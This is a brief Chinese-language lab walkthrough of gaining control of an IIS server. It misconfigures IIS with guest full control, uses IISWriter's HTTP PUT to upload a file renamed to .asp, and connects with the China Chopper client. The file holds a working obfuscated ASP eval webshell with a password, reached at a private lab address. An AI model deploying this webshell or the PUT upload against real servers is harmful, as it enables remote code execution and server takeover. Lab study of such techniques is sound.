使用中国菜刀通过Iiswriter的put方法拿下iis服务器的权限

• 1.在客户端安装iiswrite软件，并关闭客户端防火墙

 

 

 

• 2.服务器安装iis，勾选以下选项

  

 

• 3.更改iis网站的主目录，将所有权限都勾选，再将网址的权限里来宾账户的权限改为完全控制

  

  

 

• 4.在客户机使用iiswrite对服务器所在文夹件上传一个txt文件并改后缀为asp，内容为<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("shezhang"))%>

  

  

 

 

• 5.客户机进行访问http://192.168.16.139/shell.asp

  

• 6.添加shell，运行